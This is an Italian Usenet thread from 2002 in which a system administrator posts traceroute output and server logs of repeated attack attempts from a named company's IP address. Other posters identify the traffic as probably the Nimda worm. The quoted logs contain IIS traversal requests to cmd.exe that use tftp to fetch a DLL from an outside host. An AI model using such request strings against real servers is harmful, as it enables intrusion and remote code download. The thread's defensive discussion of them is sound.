Newsgroup: it.comp.sicurezza.windows
Titolo: Attacco al server aziendale con log da MEDIANETGROUP SRL

Ragazzi posto il messaggio così come l'ho inviato in quanto vorrei
"sputtanare" passatemi il termine la società Medianet Group SRL
C'e' stato un tentativo di attaco al server aziendale da parte di un loro
ip, l'ho loggato mentre era on line:
Email inviata
Spett.le Medianet Group SRL (
www.medianetgroup.it
)
[CUT] ....... vogliamo le vostre scuse ufficiali, da parte vostra o da parte
dell'utente della vostra rete che ha commesso questo GRAVE tentativo.
Ricordiamo che la nuova legge punsce i tentativi di attacco ai server. Se
non riceveremo le scuse ufficiali, saremo costretti nostro malgrado a
segnalarvi all'abuse di competenza. Complimenti per la caduta di stile.
Ricordiamo che i nostri server segnalano immediatamente qualsiasi tentativo
di intrusione e monitorizzano la rete 24h su 2h.
Grazie
.........Non hanno mai risposto.........
Di seguito l'analisi e i relativi attacchi
================================================
===report su 29-giu-02 17.49.54 ===
================================================
Report per 213.138.161.44
Analisi: Pacchetti IP persi sulla rete "MEDIANET S.R.L." al hop 7.
Informazioni insufficienti nella cache per la determinazione della rete
successiva al hop  Connections to HTTP port 80
are not working. Il nodo 213.138.160.7 al hop 7 della rete "MEDIANET S.R.L."
segnala "Il host di destinazione e' irraggiungibile".
----------------------------------------------------------------------------
-------------------------------------------------------------------------
| Hop | %Persi | Indirizzo IP   | Nome nodo                             |
Locazione   | F.Ora  | ms   | Grafico    | Rete
----------------------------------------------------------------------------
-------------------------------------------------------------------------
| 0   |        | 192.168.XXX.XXX  | XXX                               | ...
|        |      |            | (uso privato)
| 1   |        | 192.168.XXX.XXX  | -                                   |
...         |        | 0    | x          | (uso privato)
| 2   |        | xxx.xx.xx.xx  | XXXXXXXXXXXXX              | xxx      |
+1.0 | 50   | x          | Telecom Italia Net
| 3   |        | xxx.xx.xx.xx   | XXXXXXXXXXXXXXXX        | xxx     |   +1.0
| 49   | x          | InterBusiness - Telecom Italia|
| 4   |        | xxx.xx.xxx.x   | xxxxxxxxxxxxxxxxxxx  | xxxxx |   +1.0 |
116  | x          | InterBusiness - Telecom Italia
| 5   |        | xxx.xx.x.xx     |xxxxxxxxxxxxxxxxxxxxx | -           |
| 164  | x          | Interbusiness infrastructural
| 6   |        | 213.138.160.7  | 
ta.medianetgroup.net
                  |
?(Italy)    |   +1.0 | 99   | x          | MEDIANET S.R.L.
| 7   | 100    | 213.138.160.7  | 
ta.medianetgroup.net
                  |
?(Italy)    |   +1.0 | 4660 |    ----x-- | MEDIANET S.R.L.
| ... |        |                |                                       |
|        |      |            |
| ?   |        | 213.138.161.44 | -                                     |
?(Italy)    |   +1.0 |      |            | MEDIANET S.R.L.
----------------------------------------------------------------------------
-------------------------------------------------------------------------
Round trip time per 213.138.160.7, medio = 4660ms, min = 1983ms, max =
5327ms -- 30-giu-02 15.49.54
TENTATIVI DI HACKING:
Numero IP :
213.138.161.44
----------------------------------------------------------------------------
----
Tempo Visita :
00.30.17
----------------------------------------------------------------------------
----
Numero Sessione :
730820872
----------------------------------------------------------------------------
----
Data/Ora Accesso : 29/06/2002 13.56.52
----------------------------------------------------------------------------
----
Data/Ora Uscita : 29/06/2002 14.27.09
----------------------------------------------------------------------------
----
Pagina reindirizzata verso XXXXX
----------------------------------------------------------------------------
----
www.xxxxxxx.it/xxxxxx/alert.asp
 404;
http://www/c/winnt/system32/cmd.exe?/c+tftp%20-i%20213.45.162.99%20GET%20coo
l.dll%20c:httpodbc.dll
http://www/c/winnt/system32/cmd.exe?/c+dir
http://www/c/winnt/system32/cmd.exe?/c+tftp%20-i%20213.45.162.99%20GET%20coo
l.dll%20d:httpodbc.dll
Ho segnalato molti abuse a tin (che devo dire ultimamente mi segue come un
figlio :-) risponde entro 24H fornendomi sotto denuncia
il relativo nominativo dell'hacker (cosa che non mi interessa).
Ho evitato di postare altri tentativi xchè erano tanti ovviamente nessuno
andato a buon fine come si evince dalla pagina alert.asp e poi 404(pagina
non trovata), questi tre dovrebbero far parte di uno script (i tentativi
specialmente il sabato e la domenica sono quasi gli stessi).
Vorrei chiedere agli esperti (tanto lo so che questi script anche per
curiosità qualcuno li esegue ;-] ) :
1 se è uno script in automatico o c'e' qualcuno che li prova 1 ad uno con un
taglia/incolla
2 E' una variante di CodeRed & C?
3 L'attacco è stato subìto proprio dal loro interno? (l'IP è il loro c'e'
poco da fare)
4 Devo subire, o continuare a segnalare? (Mi sono un po stufato a dire la
verità........)
5 Perchè se sanno che il sistema è patchato continuano a rompere le palle?
E' il loro server ad essere infetto da qualche WORM?
6 Posso fargli capire che lo sto seguendo on line? A parte usare i tools che
odio per le scansioni delle porte aperte? .. che tra parentesi ne avevano a
quintali!!
7 Gli fanno gola i gigabyte di spazio o tutti gli utenti registrati?
Considerando che è un sito che offre i dialers......
8 Li segnalo all'abuse di Tin, magari chiedendo un risarcimento in denaro?
Odio i dialers.....
Grazie a tutti.

 wrote:
1, 6   : No
2, 3, 5: Si
4, 7, 8: Fai te
Leonardo
-- 
ftp://warez.slashdot.com:12345
 - Warez for nerds. Stuff that matters.

 4, 7, 8: Fai te
Sintetico, ma chiarissimo.
Grazie Leonardo

? Ops....mi sfugge qualcosa?
Non più del solito.
Keith
-- 
Faites vos yeux, rien ne voit plus
------

 
http://www/c/winnt/system32/cmd.exe?/c+dir
Codered non c'entra niente. Queste sembrano richieste di nimda
variante E.
Con cosi' poche righe di log e' difficile dire di piu' ma direi  La
possibilita' che sia un worm
a mio parere sono molto elevate e io non avrei mai scritto una
[prima] lettera con quei toni a medianet (anche se trattandosi
di medianet...).

 
http://www/c/winnt/system32/cmd.exe?/c+dir
Codered non c'entra niente. Queste sembrano richieste di nimda variante
E. Con cosi' poche righe di log e' difficile dire di piu' ma direi che
la possibilita' che sia un worm a mio parere sono molto elevate e io non
avrei mai scritto una [prima] lettera con quei toni a medianet (anche se
trattandosi di medianet...).
Poi vedi tu.
Fabio

 2 E' una variante di CodeRed & C?
credo proprio di si. 
-- 
Non so cosa devo fare, | 
http://werted.cjb.net
ma devo farlo subito.  | 
http://werted.da.ru

 loro ip, l'ho loggato mentre era on line:
[...]
Aggiungerei che:
- quella macchina e' il server web di una azienda chiamata dnetware,
  probabilmente in housing se non, addirittura, sito presso dnetware
  stessa;
- il server iis e' stato reinstallato ieri alle 23 e questo rafforza
  l'ipotesi che fosse infetto.
Fabio

Ne sei cosi' certo?
Per una interpretazione ampia di "variante"; salvo magheggi TCP che reputo
improbabili; su base statistica.


 ha scritto nel messaggio
news:hoyX8.28261$7N3.6...@twister2.libero.it...

Il problema è che non è stata una sola volta, poi guardando il contenuto del
sito la cosa
mi ha fatto un po arrabbiare, il problema è che sono stati vari tentativi
ripetuti nell'arco di una
settimana.
Comunque nel dubbio non ho fatto una segnalazione all'abuse xchè nel dubbio
dei vari nimba
e codered..... Certo però ptcharsi non è poi così difficile :-)
Cmq grazie a tutti per le risposte.

 Ho chiesto a te?
<gnegnegne>
Hai scritto su Usenet, quindi hai chiesto a CHIUNQUE legga il tuo post.
Aspettati risposte da chiunque e non protestare.
</gnegnegne>
--
-=[]=- 
ian...@libero.it
 -=[]=-

 difficile :-)
Ho sbagliato a copiare l'ndirizzo ip (ho preso il tuo invece di quello
di medianet:/) e quindi alcune cose che ho scritto nei post precedenti
(tipo di server, proprietario, ecc..) non si riferiscono alla sorgente
dell'attacco ma alla destinazione. Rimane il fatto che, sia in caso di
attacco deliberato si in caso di worm, il fornitore di accesso/housing
potrebbe anche non avere nessuna responsabilita'. Un po' come se tinit
fosse responsabile del portscan che tu hai fatto su quella macchina ;)
(che adesso e' giu', tra l'altro: la staranno sistemando?).
Fabio

 il relativo nominativo dell'hacker (cosa che non mi interessa).
L'abuse di TIN che risponde ?
=:-OO
[xpost su INN-A]
Bye, G.

 </gnegnegne>
mmm ... questo e' sicuramente html 5 ...